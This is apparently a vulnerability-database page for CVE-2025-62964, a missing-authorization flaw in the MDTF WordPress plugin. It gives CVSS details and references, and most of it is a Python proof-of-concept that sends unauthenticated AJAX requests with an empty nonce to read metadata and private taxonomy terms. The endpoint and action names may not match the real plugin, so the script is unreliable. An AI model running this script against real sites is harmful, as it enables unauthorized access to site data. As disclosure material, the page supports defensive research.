CVE-2025-62964

Description

Missing Authorization vulnerability in RealMag777 MDTF wp-meta-data-filter-and-taxonomy-filter allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MDTF: from n/a through <= 1.3.6.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MDTF插件所有版本 <= 1.3.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-62964 PoC - Missing Authorization in MDTF WordPress Plugin
# Target: WordPress site with MDTF plugin <= 1.3.6

target = "http://target-wordpress-site.com"

# PoC 1: Unauthorized metadata access via MDTF AJAX endpoint
def test_unauthorized_meta_access():
    """Test for missing authorization in MDTF metadata filter"""
    endpoints = [
        f"{target}/wp-admin/admin-ajax.php",
        f"{target}/wp-json/mdtf/v1/filter"
    ]
    
    # Malicious payload to bypass access control
    payload = {
        'action': 'mdtf_filter_action',
        'post_types[]': 'post',
        'meta_query': '{"key":"sensitive_data","compare":"EXISTS"}',
        'nonce': ''  # No nonce required due to missing authorization
    }
    
    for endpoint in endpoints:
        try:
            response = requests.post(endpoint, data=payload, timeout=10)
            if response.status_code == 200:
                print(f"[!] Potential vulnerability at {endpoint}")
                print(f"Response: {response.text[:500]}")
        except requests.RequestException as e:
            print(f"Error testing {endpoint}: {e}")

# PoC 2: Unauthorized taxonomy access
def test_unauthorized_taxonomy_access():
    """Test for missing authorization in taxonomy filter"""
    endpoint = f"{target}/wp-admin/admin-ajax.php"
    payload = {
        'action': 'mdtf_taxonomy_filter',
        'taxonomy': 'private_category',
        'include_children': 'true'
    }
    
    try:
        response = requests.post(endpoint, data=payload, timeout=10)
        if response.status_code == 200 and 'terms' in response.text:
            print(f"[!] Unauthorized taxonomy access possible!")
    except requests.RequestException as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    print("CVE-2025-62964 PoC - Testing MDTF plugin authorization bypass")
    test_unauthorized_meta_access()
    test_unauthorized_taxonomy_access()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62964
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62964
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62964/
[4] VulDB https://vuldb.com/cve/CVE-2025-62964
[5] https://patchstack.com/database/Wordpress/Plugin/wp-meta-data-filter-and-taxonomy-filter/vulnerability/wordpress-mdtf-plugin-1-3-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

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